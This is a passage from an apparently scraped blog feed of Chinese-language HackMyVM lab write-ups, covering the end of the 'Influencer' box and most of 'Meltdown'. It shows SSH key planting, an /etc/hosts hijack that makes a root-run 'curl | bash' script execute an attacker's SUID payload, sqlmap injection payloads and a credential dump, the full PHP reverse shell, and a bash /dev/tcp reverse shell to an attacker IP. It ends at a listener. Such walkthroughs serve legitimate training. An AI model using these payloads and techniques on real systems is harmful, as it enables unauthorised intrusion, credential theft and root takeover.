Connecting to 192.168.0.143:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2590 (2,5K) [application/octet-stream]
Saving to: ‘juan’
 
juan                                  100%[=========================================================================&amp;gt;]   2,53K  --.-KB/s    in 0s      
 
2024-04-28 12:22:19 (276 MB/s) - ‘juan’ saved [2590/2590]
 
luna@influencer:/tmp$ wget http://192.168.0.143:8888/juan.pub
--2024-04-28 12:22:23--  http://192.168.0.143:8888/juan.pub
Connecting to 192.168.0.143:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 563 [application/vnd.exstream-package]
Saving to: ‘juan.pub’
 
juan.pub                              100%[=========================================================================&amp;gt;]     563  --.-KB/s    in 0s      
 
2024-04-28 12:22:23 (107 MB/s) - ‘juan.pub’ saved [563/563]
 
luna@influencer:/tmp$ mv juan.pub authorized_keys
luna@influencer:/tmp$ sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys authorized_keys 
Warning: Error removing old file - authorized_keys
    1 directories created
    1 image files updated
luna@influencer:/tmp$ sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys authorized_keys 
Error: &amp;#39;/home/juan/.ssh/authorized_keys&amp;#39; already exists - authorized_keys
    0 image files updated
    1 files weren&amp;#39;t updated due to errors
luna@influencer:/tmp$ chmod 600 juan
luna@influencer:/tmp$ ssh juan@0.0.0.0 -p 1212 -i juan
The authenticity of host &amp;#39;[0.0.0.0]:1212 ([0.0.0.0]:1212)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:uujkDI7HQ0Bk3td/3NfWys9FNY5cbT1zvGvXbluerAk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;[0.0.0.0]:1212&amp;#39; (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 
  System information as of dom 28 abr 2024 12:25:44 UTC
 
  System load:  0.0                Processes:               128
  Usage of /:   55.9% of 11.21GB   Users logged in:         1
  Memory usage: 45%                IPv4 address for enp0s3: 192.168.0.139
  Swap usage:   0%
 
 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.
 
   https://ubuntu.com/engage/secure-kubernetes-at-the-edge
 
El mantenimiento de seguridad expandido para Applications está desactivado
 
Se pueden aplicar 0 actualizaciones de forma inmediata.
 
Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea https://ubuntu.com/esm o ejecute «sudo pro status»
 
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
 
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
juan@influencer:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;提权 root&lt;/h4&gt;
&lt;p&gt;第一步还是信息搜集：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;juan@influencer:~$ sudo -l
Matching Defaults entries for juan on influencer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User juan may run the following commands on influencer:
    (root) NOPASSWD: /bin/bash /home/juan/check.sh
juan@influencer:~$ cat /home/juan/check.sh
#!/bin/bash
 
/usr/bin/curl http://server.hmv/98127651 | /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我再次检查&lt;strong&gt;了 sudo&lt;/strong&gt; 权限。Juan 可以作为 &lt;strong&gt;root&lt;/strong&gt; 用户运行文件“/home/john/check.sh”。&lt;/p&gt;
&lt;p&gt;又是 arp 欺骗：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;juan@influencer:~$ cat /home/juan/check.sh 
#!/bin/bash

/usr/bin/curl http://server.hmv/98127651 | /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如你所见，它会向 server.hmv 发送请求，然后执行它收到的请求。&lt;/p&gt;
&lt;p&gt;我还检查了修改“/etc/hosts”的权限，所以更改域名地址很方便。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;juan@influencer:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root juan 247 jun  8 23:00 /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我让 &lt;strong&gt;server.hmv&lt;/strong&gt; 指向攻击机器的地址。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;juan@influencer:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 influencer

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

#127.0.0.1 server.hmv
192.168.1.86 server.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在我的机器上，我创建一个与“check.sh”脚本中名称相同的文件，然后在 80 端口启动服务器。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;kali@kali:~/Desktop$ cat 98127651        
chmod +s /bin/bash
                                                                                                                    
kali@kali:~/Desktop$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以 &lt;strong&gt;root&lt;/strong&gt; 身份运行脚本会发出请求并执行我创建的脚本，所以现在 &lt;strong&gt;/bin/bash&lt;/strong&gt; 拥有了 SUID 权限，获取 root 权限变得轻而易举。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;juan@influencer:~$ sudo /bin/bash /home/juan/check.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    19  100    19    0     0    606      0 --:--:-- --:--:-- --:--:--   612
juan@influencer:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 ene  6  2022 /bin/bash
juan@influencer:~$ bash -p
bash-5.1# whoami
root
bash-5.1# :)
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/influencer/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/influencer/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Meltdown</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/meltdown/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/meltdown/</guid><description>ka ku yu u go u ro ni sa to bi ko n de mi ta ra so shi ta ra</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.102   08:00:27:99:3b:9e       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-13 03:12 EST
Nmap scan report for 192.168.0.102
Host is up (0.00034s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: \xE7\x82\x89\xE5\xBF\x83\xE8\x9E\x8D\xE8\xA7\xA3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.86 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.0.102     

  _|. _ _  _  _  _ _|_    v0.4.3.post1                                                                      
 (_||| _) (/_(_|| (_| )                                                                                     
                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.0.102/_26-01-13_03-13-20.txt

Target: http://192.168.0.102/

[03:13:20] Starting:                                                                                        
[03:13:22] 403 -  278B  - /.ht_wsr.txt                                      
[03:13:22] 403 -  278B  - /.htaccess.bak1                                   
[03:13:22] 403 -  278B  - /.htaccess.save                                   
[03:13:22] 403 -  278B  - /.htaccess.orig
[03:13:22] 403 -  278B  - /.htaccess_orig                                   
[03:13:22] 403 -  278B  - /.htaccess_extra
[03:13:22] 403 -  278B  - /.htaccess.sample
[03:13:22] 403 -  278B  - /.htaccessBAK
[03:13:22] 403 -  278B  - /.htaccessOLD
[03:13:22] 403 -  278B  - /.htaccessOLD2
[03:13:22] 403 -  278B  - /.htaccess_sc                                     
[03:13:22] 403 -  278B  - /.html                                            
[03:13:22] 403 -  278B  - /.htm
[03:13:22] 403 -  278B  - /.htpasswd_test                                   
[03:13:22] 403 -  278B  - /.htpasswds                                       
[03:13:22] 403 -  278B  - /.httr-oauth
[03:13:23] 403 -  278B  - /.php                                             
[03:13:41] 200 -    1B  - /config.php                                       
[03:13:54] 200 -    2KB - /login.php                                        
[03:13:55] 302 -    0B  - /logout.php  -&amp;gt;  index.php                        
[03:14:08] 403 -  278B  - /server-status/                                   
[03:14:08] 403 -  278B  - /server-status                                    
                                                                             
Task Completed 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.0.102 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.102
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,js,yaml,php,txt,html,zip,db
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 7488]
/index.php            (Status: 200) [Size: 4847]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/item.php             (Status: 200) [Size: 477]
/logout.php           (Status: 302) [Size: 0] [--&amp;gt; index.php]
/config.php           (Status: 200) [Size: 1]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
Progress: 1985031 / 1985040 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/index&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;header&amp;gt;
            &amp;lt;h1&amp;gt;🎵 炉心融解 🎵&amp;lt;/h1&amp;gt;
            &amp;lt;p&amp;gt;VOCALOID&amp;lt;/p&amp;gt;
        &amp;lt;/header&amp;gt;
        
                    &amp;lt;div class=&amp;quot;login-prompt&amp;quot;&amp;gt;
                &amp;lt;p&amp;gt;🎯 &amp;lt;a href=&amp;quot;login.php&amp;quot;&amp;gt;请先登录以访问更多功能&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
            &amp;lt;/div&amp;gt;
                
        &amp;lt;section class=&amp;quot;items-section&amp;quot;&amp;gt;
            &amp;lt;h2&amp;gt;🔮 物品列表&amp;lt;/h2&amp;gt;
            &amp;lt;ul class=&amp;quot;items-list&amp;quot;&amp;gt;
                &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;item.php?id=1&amp;quot;&amp;gt;炉心&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;            &amp;lt;/ul&amp;gt;
        &amp;lt;/section&amp;gt;
        
        &amp;lt;section class=&amp;quot;characters-section&amp;quot;&amp;gt;
            &amp;lt;h2&amp;gt;🌟 术曲人物介绍&amp;lt;/h2&amp;gt;
            &amp;lt;div class=&amp;quot;characters&amp;quot;&amp;gt;
                &amp;lt;div class=&amp;quot;character-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;初音ミク&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;初音未来是Crypton Future Media以Yamaha的VOCALOID系列语音合成程序为基础开发的音源库，是术曲文化的重要代表人物。&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;character-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;鏡音リン&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;镜音铃是CRYPTON FUTURE MEDIA以Yamaha的VOCALOID 2语音合成引擎为基础开发的虚拟歌手，是术曲《炉心融解》的原唱。&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;character-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;鏡音レン&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;镜音连是镜音铃的搭档，同样是VOCALOID虚拟歌手，在众多术曲中与镜音铃合作演唱。&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;character-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;巡音ルカ&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;巡音流歌是CRYPTON FUTURE MEDIA以Yamaha的VOCALOID 2语音合成引擎为基础开发的虚拟女性歌手软件角色，音色成熟华丽。&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;character-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;KAITO&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;KAITO是CRYPTON FUTURE MEDIA发售的VOCALOID系列语音合成软件的虚拟歌手，是VOCALOID家族中的大哥角色。&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&amp;quot;character-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;MEIKO&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;MEIKO是CRYPTON FUTURE MEDIA发售的VOCALOID系列语音合成软件的虚拟歌手，是VOCALOID家族中的大姐角色。&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;            &amp;lt;/div&amp;gt;
        &amp;lt;/section&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/item.php?id=1&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Meltdown-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尝试sql注入&lt;/p&gt;
&lt;h4&gt;sql注入&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# sqlmap -u http://192.168.0.102/item.php?id=1 --batch
        ___
       __H__                                                                                                
 ___ ___[&amp;quot;]_____ ___ ___  {1.8.11#stable}                                                                   
|_ -| . [)]     | .&amp;#39;| . |                                                                                   
|___|_  [&amp;quot;]_|_|_|__,|  _|                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:23:21 /2026-01-13/

[03:23:22] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own (&amp;#39;PHPSESSID=8ts85dvcp4g...20emrr2hlq&amp;#39;). Do you want to use those [Y/n] Y
[03:23:22] [INFO] testing if the target URL content is stable
[03:23:22] [INFO] target URL content is stable
[03:23:22] [INFO] testing if GET parameter &amp;#39;id&amp;#39; is dynamic
[03:23:22] [INFO] GET parameter &amp;#39;id&amp;#39; appears to be dynamic
[03:23:22] [INFO] heuristic (basic) test shows that GET parameter &amp;#39;id&amp;#39; might be injectable (possible DBMS: &amp;#39;MySQL&amp;#39;)                                                                                                     
[03:23:22] [INFO] testing for SQL injection on GET parameter &amp;#39;id&amp;#39;
it looks like the back-end DBMS is &amp;#39;MySQL&amp;#39;. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for &amp;#39;MySQL&amp;#39; extending provided level (1) and risk (1) values? [Y/n] Y
[03:23:22] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;
[03:23:22] [WARNING] reflective value(s) found and filtering out
[03:23:22] [INFO] GET parameter &amp;#39;id&amp;#39; appears to be &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39; injectable (with --string=&amp;quot;炉心&amp;quot;)
[03:23:22] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)&amp;#39;                                                                                                 
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.5 OR error-based - WHERE or HAVING clause (EXP)&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)&amp;#39;                                                                                                     
[03:23:22] [INFO] GET parameter &amp;#39;id&amp;#39; is &amp;#39;MySQL &amp;gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)&amp;#39; injectable                                                                            
[03:23:22] [INFO] testing &amp;#39;MySQL inline queries&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 stacked queries (comment)&amp;#39;
[03:23:22] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 stacked queries&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 stacked queries (query SLEEP - comment)&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 stacked queries (query SLEEP)&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;lt; 5.0.12 stacked queries (BENCHMARK - comment)&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;lt; 5.0.12 stacked queries (BENCHMARK)&amp;#39;
[03:23:22] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39;
[03:23:32] [INFO] GET parameter &amp;#39;id&amp;#39; appears to be &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39; injectable 
[03:23:32] [INFO] testing &amp;#39;Generic UNION query (NULL) - 1 to 20 columns&amp;#39;
[03:23:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[03:23:32] [INFO] &amp;#39;ORDER BY&amp;#39; technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[03:23:32] [INFO] target URL appears to have 3 columns in query
[03:23:32] [INFO] GET parameter &amp;#39;id&amp;#39; is &amp;#39;Generic UNION query (NULL) - 1 to 20 columns&amp;#39; injectable
GET parameter &amp;#39;id&amp;#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3043=3043

    Type: error-based
    Title: MySQL &amp;gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1 AND GTID_SUBSET(CONCAT(0x71766a7671,(SELECT (ELT(3331=3331,1))),0x717a627171),3331)

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 7672 FROM (SELECT(SLEEP(5)))Zqrt)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-2775 UNION ALL SELECT NULL,CONCAT(0x71766a7671,0x6c42515241676a4e6c475851465077425276494644747a41654561676a4865465970566776727651,0x717a627171),NULL-- -
---
[03:23:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.62
back-end DBMS: MySQL &amp;gt;= 5.6
[03:23:32] [INFO] fetched data logged to text files under &amp;#39;/root/.local/share/sqlmap/output/192.168.0.102&amp;#39;
[03:23:32] [WARNING] your sqlmap version is outdated

[*] ending @ 03:23:32 /2026-01-13/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现注入点&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sqlmap -u http://192.168.0.102/item.php?id=1 --dbs --batch 

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] target
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sqlmap -u &amp;quot;http://192.168.0.102/item.php?id=1&amp;quot; \
  -D target --tables --batch

Database: target
[3 tables]
+------------+
| characters |
| items      |
| users      |
+------------+

[03:27:10] [INFO] fetched data logged to text files under &amp;#39;/root/.local/share/sqlmap/output/192.168.0.102&amp;#39;
[03:27:10] [WARNING] your sqlmap version is outdated

[*] ending @ 03:27:10 /2026-01-13
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# sqlmap -u &amp;quot;http://192.168.0.102/item.php?id=1&amp;quot; \
  -D target -T users -C id,password,username --dump --batch
        ___
       __H__                                                                                                
 ___ ___[&amp;quot;]_____ ___ ___  {1.8.11#stable}                                                                   
|_ -| . [.]     | .&amp;#39;| . |                                                                                   
|___|_  [,]_|_|_|__,|  _|                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[03:28:17] [INFO] fetching entries of column(s) &amp;#39;id,password,username&amp;#39; for table &amp;#39;users&amp;#39; in database &amp;#39;target&amp;#39;
Database: target
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | rin123   | rin      |
+----+----------+----------+

[03:28:17] [INFO] table &amp;#39;target.users&amp;#39; dumped to CSV file &amp;#39;/root/.local/share/sqlmap/output/192.168.0.102/dump/target/users.csv&amp;#39;                                                                                        
[03:28:17] [INFO] fetched data logged to text files under &amp;#39;/root/.local/share/sqlmap/output/192.168.0.102&amp;#39;
[03:28:17] [WARNING] your sqlmap version is outdated

[*] ending @ 03:28:17 /2026-01-13/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rin_profile.php&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Meltdown-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以添加物品和介绍，尝试反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = &amp;quot;1.0&amp;quot;;
$ip = &amp;#39;192.168.0.106&amp;#39;;
$port = 8888;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = &amp;#39;uname -a; w; id; sh -i&amp;#39;;
$daemon = 0;
$debug = 0;

if (function_exists(&amp;#39;pcntl_fork&amp;#39;)) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit(&amp;quot;ERROR: Can&amp;#39;t fork&amp;quot;);
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit(&amp;quot;Error: Can&amp;#39;t setsid()&amp;quot;);
		exit(1);
	}

	$daemon = 1;
} else {
	printit(&amp;quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&amp;quot;);
}

chdir(&amp;quot;/&amp;quot;);

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit(&amp;quot;$errstr ($errno)&amp;quot;);
	exit(1);
}

$descriptorspec = array(
   0 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;r&amp;quot;),  // stdin is a pipe that the child will read from
   1 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;),  // stdout is a pipe that the child will write to
   2 =&amp;gt; array(&amp;quot;pipe&amp;quot;, &amp;quot;w&amp;quot;)   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit(&amp;quot;ERROR: Can&amp;#39;t spawn shell&amp;quot;);
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit(&amp;quot;Successfully opened reverse shell to $ip:$port&amp;quot;);

while (1) {
	if (feof($sock)) {
		printit(&amp;quot;ERROR: Shell connection terminated&amp;quot;);
		break;
	}

	if (feof($pipes[1])) {
		printit(&amp;quot;ERROR: Shell process terminated&amp;quot;);
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit(&amp;quot;SOCK READ&amp;quot;);
		$input = fread($sock, $chunk_size);
		if ($debug) printit(&amp;quot;SOCK: $input&amp;quot;);
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit(&amp;quot;STDOUT READ&amp;quot;);
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit(&amp;quot;STDOUT: $input&amp;quot;);
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit(&amp;quot;STDERR READ&amp;quot;);
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit(&amp;quot;STDERR: $input&amp;quot;);
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print &amp;quot;$string\n&amp;quot;;
	}
}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现报错了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Parse error: syntax error, unexpected token &amp;quot;&amp;lt;&amp;quot;, expecting end of file in /var/www/html/item.php(15) : eval()&amp;#39;d code on line 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更改内容&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;eval(&amp;#39;exec(&amp;quot;/bin/bash -c \&amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.106/8888 0&amp;gt;&amp;amp;1\&amp;#39;&amp;quot;);&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 8888
